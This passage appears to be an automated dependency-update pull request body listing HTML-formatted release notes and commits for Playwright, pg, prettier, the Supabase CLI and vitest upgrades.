'on',\nsize: { width: 1920, height: 1080 },\nfps: 60,\nshow: {\nactions: {\nstyle: {\npoint: 'width: 20px; height: 20px; border-radius: 50%; background: red',\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/606ecd8b34bac100db32561b6278ffd76e5eb3cd\"\u003e\u003ccode\u003e606ecd8\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43192\"\u003e#43192\u003c/a\u003e): fix(locators): parse locators the way the client API bui...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e4f872c79530583300185d3e4aa9689e2f85d0b0\"\u003e\u003ccode\u003ee4f872c\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43188\"\u003e#43188\u003c/a\u003e): feat(api): expose asLocatorDescription via LocalUtils fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/f6a439e6f496f75d8e8b687116eef8c21316aa1f\"\u003e\u003ccode\u003ef6a439e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43189\"\u003e#43189\u003c/a\u003e): docs(webmcp): expose WebMCP to all languages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e2335c30f16196a96f81c099598803ca74f9120c\"\u003e\u003ccode\u003ee2335c3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43174\"\u003e#43174\u003c/a\u003e): fix(mcp): do not close the browser twice when the client...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d2a436e0111091ba99836fa6711de28201606cfc\"\u003e\u003ccode\u003ed2a436e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43163\"\u003e#43163\u003c/a\u003e): Revert \u0026quot;fix(blob): do not remove existing reports from o...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.63.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.3 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `pg` from 8.23.0 to 8.23.1\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/brianc/node-postgres/blob/master/CHANGELOG.md\"\u003epg's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAll major and minor releases are briefly explained below.\u003c/p\u003e\n\u003cp\u003eFor richer information consult the commit log on github with referenced pull requests.\u003c/p\u003e\n\u003cp\u003eWe do not include break-fix version release in this file.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/0980cefebe0ae461da8883703be049fe13ca96cf\"\u003e\u003ccode\u003e0980cef\u003c/code\u003e\u003c/a\u003e Publish\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/2759b2ccf70535d425688dca8a6aec79de49c1ea\"\u003e\u003ccode\u003e2759b2c\u003c/code\u003e\u003c/a\u003e fix(pg): run a named statement with an empty text more than once (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3781\"\u003e#3781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/7feb7dfd70a9f7e5718ab186c80d2658067ce4af\"\u003e\u003ccode\u003e7feb7df\u003c/code\u003e\u003c/a\u003e fix(pg): expose detail and hint on errors from the native client (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3780\"\u003e#3780\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/9683053c1eac7f4a1f8910df0d7abdb5f0cb25a7\"\u003e\u003ccode\u003e9683053\u003c/code\u003e\u003c/a\u003e fix(pg): do not treat Sync as connection ending (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3772\"\u003e#3772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/458903894f3514465b74d623f6b92f713b6b952f\"\u003e\u003ccode\u003e4589038\u003c/code\u003e\u003c/a\u003e fix: validate server certificate against host when connecting to an IP addres...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/9808955838dd84835c4ca904228c9c2eaeda047e\"\u003e\u003ccode\u003e9808955\u003c/code\u003e\u003c/a\u003e cleanup: Fix typo in comment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/2b02f645687b8536f209aecc24f1b4bdb4c32d16\"\u003e\u003ccode\u003e2b02f64\u003c/code\u003e\u003c/a\u003e fix: avoid mutating query config (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3720\"\u003e#3720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/0cef6afdf781e4cbe7eb5ac943df3c14b49c33de\"\u003e\u003ccode\u003e0cef6af\u003c/code\u003e\u003c/a\u003e Reject portal based queries in pipeline mode instead of misrouting rows (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3737\"\u003e#3737\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/299148045f921060b5df91343ab4710d46674b08\"\u003e\u003ccode\u003e2991480\u003c/code\u003e\u003c/a\u003e Deprecate serializing invalid \u003ccode\u003eDate\u003c/code\u003es (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3731\"\u003e#3731\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/brianc/node-postgres/commit/c940d7c206c8545cb195df2ecde230d9ca0279c8\"\u003e\u003ccode\u003ec940d7c\u003c/code\u003e\u003c/a\u003e Fail pipelined queries when the connection dies instead of hanging (\u003ca href=\"https://github.com/brianc/node-postgres/tree/HEAD/packages/pg/issues/3736\"\u003e#3736\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/brianc/node-postgres/commits/pg@8.23.1/packages/pg\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.9 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `supabase` from 2.118.0 to 2.121.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/supabase/cli/releases\"\u003esupabase's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.121.0\u003c/h2\u003e\n\u003ch2\u003eSupabase CLI v2.121.0 — 2026-10-14\u003c/h2\u003e\n\u003cp\u003eThis release is mostly stack reliability fixes, plus new \u003ccode\u003estack\u003c/code\u003e options and deprecation warnings you'll want to see before the next major version. Most entries below are from PR titles, not full PR review.\u003c/p\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOrioleDB through \u003ccode\u003edb.orioledb_version\u003c/code\u003e\u003c/strong\u003e — set the OrioleDB version in config instead of relying on a separate setup path. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRepeatable \u003ccode\u003e--stack-id\u003c/code\u003e in \u003ccode\u003estack destroy\u003c/code\u003e\u003c/strong\u003e — tear down several stacks in one command. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway requests show up in Studio\u003c/strong\u003e — API Gateway logs in Studio now include requests that pass through the local stack gateway. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6942\"\u003e#6942\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003estack destroy --stack-id\u003c/code\u003e accepts multiple IDs\u003c/strong\u003e — e.g. \u003ccode\u003esupabase stack destroy --stack-id a --stack-id b\u003c/code\u003e. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6964\"\u003e#6964\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7000\"\u003e#7000\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLeftover containers from deleted stacks get cleaned up\u003c/strong\u003e — stale containers are removed automatically instead of piling up. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7017\"\u003e#7017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eChanged endpoint ports apply on restart\u003c/strong\u003e — if you change endpoint ports while a stack is stopped, the new ports are used the next time it starts. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6950\"\u003e#6950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeprecation warnings for \u003ccode\u003edb pull\u003c/code\u003e and \u003ccode\u003edomains\u003c/code\u003e flags\u003c/strong\u003e — you now see a warning at runtime when you use a deprecated flag. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7115\"\u003e#7115\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e defaults to stream-json for agents\u003c/strong\u003e — when running non-interactively, output is streamed as JSON so agent tooling can parse it. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7027\"\u003e#7027\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eHeads-up: deprecated config, env vars and import maps will be removed in the next major version\u003c/strong\u003e — the CLI now warns when you use them. Migrate before upgrading to that major. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7154\"\u003e#7154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eClearer \u003ccode\u003edb remote commit\u003c/code\u003e and \u003ccode\u003einspect db\u003c/code\u003e deprecation messages\u003c/strong\u003e — the warnings now say the features are removed in the next major version. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7108\"\u003e#7108\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMore specific failure telemetry\u003c/strong\u003e — stack and platform failures are classified and named more precisely, which makes issues easier to triage. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7044\"\u003e#7044\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7113\"\u003e#7113\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7067\"\u003e#7067\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase start\u003c/code\u003e works with Podman when no snippets are present.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7089\"\u003e#7089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStack creates the \u003ccode\u003esupabase_functions\u003c/code\u003e database on the stack backend.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7029\"\u003e#7029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efunctions serve\u003c/code\u003e overrides apply after the stack has started.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7028\"\u003e#7028\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNative Postgres trusts your host CA bundle\u003c/strong\u003e, so connections through corporate or custom certificates work. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7023\"\u003e#7023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAuth database and stack host connections stay alive\u003c/strong\u003e instead of dropping mid-session. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7080\"\u003e#7080\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGateway writes no longer fail under load\u003c/strong\u003e, because they reuse keep-alive connections. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7075\"\u003e#7075\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6981\"\u003e#6981\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eContainers whose host port was taken before start are recreated\u003c/strong\u003e rather than failing to start. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7081\"\u003e#7081\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are removed when their owner exits\u003c/strong\u003e, so they stop leaking between runs. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7014\"\u003e#7014\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6962\"\u003e#6962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRunning dependents restart when a prerequisite crashes\u003c/strong\u003e, so the stack recovers without a manual restart. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7093\"\u003e#7093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003epg_cron\u003c/code\u003e jobs run in background workers\u003c/strong\u003e on native Postgres. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7039\"\u003e#7039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDatabase helpers are created by name before they're attached to.\u003c/strong\u003e (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7068\"\u003e#7068\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003esupabase stop\u003c/code\u003e waits for a concurrent Docker prune\u003c/strong\u003e instead of failing. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7129\"\u003e#7129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConfig accepts the new Management API Postgres settings\u003c/strong\u003e, so they no longer get rejected. (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7056\"\u003e#7056\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7054\"\u003e#7054\u003c/a\u003e, \u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/6934\"\u003e#6934\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003ePlus 1 internal improvement and dependency update.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/supabase/cli/compare/v2.120.0...v2.121.0\"\u003ehttps://github.com/supabase/cli/compare/v2.120.0...v2.121.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev2.121.0-next.2\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/8a549dffa6bc5c88069c61c1f55ef55ad9b82ae2\"\u003e\u003ccode\u003e8a549df\u003c/code\u003e\u003c/a\u003e fix(cli): warn that deprecated config, env vars and import maps are removed i...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d47510fbd9cf0537020256dee5090a8247e6793b\"\u003e\u003ccode\u003ed47510f\u003c/code\u003e\u003c/a\u003e ci: speed up tests with sticky disks, parallel e2e and on-demand Windows and ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/d68f6d098f8e65a6f2909087fa443bae284eb405\"\u003e\u003ccode\u003ed68f6d0\u003c/code\u003e\u003c/a\u003e fix(cli): wait for a concurrent Docker prune in stop (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7143\"\u003e#7143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/ddb5c6e76dbf24457a10337edbd511a76d78a3e8\"\u003e\u003ccode\u003eddb5c6e\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.1-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7153\"\u003e#7153\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/2930f6d069ef8cb71f4eeecb495fb18f44a8a765\"\u003e\u003ccode\u003e2930f6d\u003c/code\u003e\u003c/a\u003e docs(cli): port pg-delta reference fixes into db diff and db pull overlays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/45376daef5a9101a25e425f54054b89d6bdf3a5a\"\u003e\u003ccode\u003e45376da\u003c/code\u003e\u003c/a\u003e fix(cli): name the failing platform operation in defect telemetry (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7137\"\u003e#7137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/cb2985f8de8e385378566b09c8d78ebbdef7b64c\"\u003e\u003ccode\u003ecb2985f\u003c/code\u003e\u003c/a\u003e chore(cli): map db dump, pull, diff and declarative command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7136\"\u003e#7136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/28dad9c763b2ea3f61439acc0f09b0fa5131a7c1\"\u003e\u003ccode\u003e28dad9c\u003c/code\u003e\u003c/a\u003e chore(stack): bump storage to v1.82.0-r0 (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7140\"\u003e#7140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/87e47b5effbd1b6743aa6349fcf5f3992eb02125\"\u003e\u003ccode\u003e87e47b5\u003c/code\u003e\u003c/a\u003e chore(cli): map db lint, push, reset and related command permissions (\u003ca href=\"https://github.com/supabase/cli/tree/HEAD/apps/cli/issues/7135\"\u003e#7135\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/supabase/cli/commit/9af6852163a091448c49580570a2c424f250b550\"\u003e\u003ccode\u003e9af6852\u003c/code\u003e\u003c/a\u003e chore(cli): bring the remaining commands under the effect skill (CLI-2693) (#...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/supabase/cli/commits/v2.121.0/apps/cli\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 5.0.2 to 5.0.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca 